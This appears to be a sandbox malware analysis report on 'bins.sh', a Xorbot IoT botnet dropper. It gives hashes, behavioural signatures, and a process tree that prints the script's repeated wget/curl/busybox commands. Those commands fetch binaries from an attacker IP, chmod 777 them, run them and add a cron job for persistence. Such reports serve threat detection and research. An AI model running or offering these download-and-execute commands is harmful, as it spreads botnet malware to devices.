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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/01/2025, 12:38

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5f1add3f8fbab9fd93e013e59c20d522

  • SHA1

    fbe2edefe96a086a75c63a4f9b623d3f93ae1609

  • SHA256

    3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2

  • SHA512

    4713f68752b19d07deb1f8cf3dcac70af440535d7bf5b39c870c692bdbfa3af879327748ac0b7ed7752f4083eff685217eb2d93184e4aa4eb77df5a9c1a53fad

  • SSDEEP

    192:F7zrAUrvoJlryIlXE+EWEkEREdEHpOuhRE+EWEkEREdE+RJlryIlC7zrAUs:NvikpOuh73D

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1786) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:667
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Writes file to tmp directory
          PID:674
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:700
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:702
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:703
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:705
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:706
              • /bin/rm
                rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
                2⤵
                  PID:708
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                  2⤵
                    PID:711
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                    2⤵
                      PID:712
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                      2⤵
                      • Writes file to tmp directory
                      PID:713
                    • /bin/chmod
                      chmod 777 CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                      2⤵
                      • File and Directory Permissions Modification
                      PID:714
                    • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                      ./CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                      2⤵
                      • Executes dropped EXE
                      PID:715
                    • /bin/rm
                      rm CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
                      2⤵
                        PID:717
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                        2⤵
                          PID:718
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                          2⤵
                            PID:719
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                            2⤵
                            • Writes file to tmp directory
                            PID:720
                          • /bin/chmod
                            chmod 777 oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                            2⤵
                            • File and Directory Permissions Modification
                            PID:721
                          • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                            ./oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                            2⤵
                            • Executes dropped EXE
                            PID:722
                          • /bin/rm
                            rm oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
                            2⤵
                              PID:724
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                              2⤵
                                PID:726
                              • /usr/bin/curl
                                curl -O http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                2⤵
                                  PID:728
                                • /bin/busybox
                                  /bin/busybox wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:729
                                • /bin/chmod
                                  chmod 777 eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:736
                                • /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                  ./eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                  2⤵
                                  • Executes dropped EXE
                                  PID:737
                                • /bin/rm
                                  rm eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                                  2⤵
                                    PID:740
                                  • /usr/bin/wget
                                    wget http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                    2⤵
                                      PID:741
                                    • /usr/bin/curl
                                      curl -O http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                      2⤵
                                        PID:743
                                      • /bin/busybox
                                        /bin/busybox wget http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:744
                                      • /bin/chmod
                                        chmod 777 A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:750
                                      • /tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                        ./A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                        2⤵
                                        • Executes dropped EXE
                                        PID:752
                                      • /bin/rm
                                        rm A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                                        2⤵
                                          PID:755
                                        • /usr/bin/wget
                                          wget http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                          2⤵
                                            PID:756
                                          • /usr/bin/curl
                                            curl -O http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                            2⤵
                                              PID:757
                                            • /bin/busybox
                                              /bin/busybox wget http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:759
                                            • /bin/chmod
                                              chmod 777 mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:764
                                            • /tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                              ./mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                              2⤵
                                              • Executes dropped EXE
                                              PID:766
                                            • /bin/rm
                                              rm mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                                              2⤵
                                                PID:767
                                              • /usr/bin/wget
                                                wget http://66.63.187.225/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                                                2⤵
                                                  PID:768
                                                • /usr/bin/curl
                                                  curl -O http://66.63.187.225/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                                                  2⤵
                                                    PID:769

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

                                                  Filesize

                                                  119KB

                                                  MD5

                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                  SHA1

                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                  SHA256

                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                  SHA512

                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                • /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub

                                                  Filesize

                                                  117KB

                                                  MD5

                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                  SHA1

                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                  SHA256

                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                  SHA512

                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                • /var/spool/cron/crontabs/tmp.fIOYja

                                                  Filesize

                                                  210B

                                                  MD5

                                                  7c648c781001a83ce8dc748c98cea320

                                                  SHA1

                                                  3ef7a7933db65ce0cb8664771b988c7b98a9f365

                                                  SHA256

                                                  8b140b00de508fadbd5f16d31afb2c58b9f6060ccf32a842be6cea987ee05217

                                                  SHA512

                                                  98bed54ea79a168b52e3321b77e546d19e5724bcaeb4b78a60c272b85addc06e11cda673dc185f81336de677629545f0fc48945c145cc085a70d01da208e3b49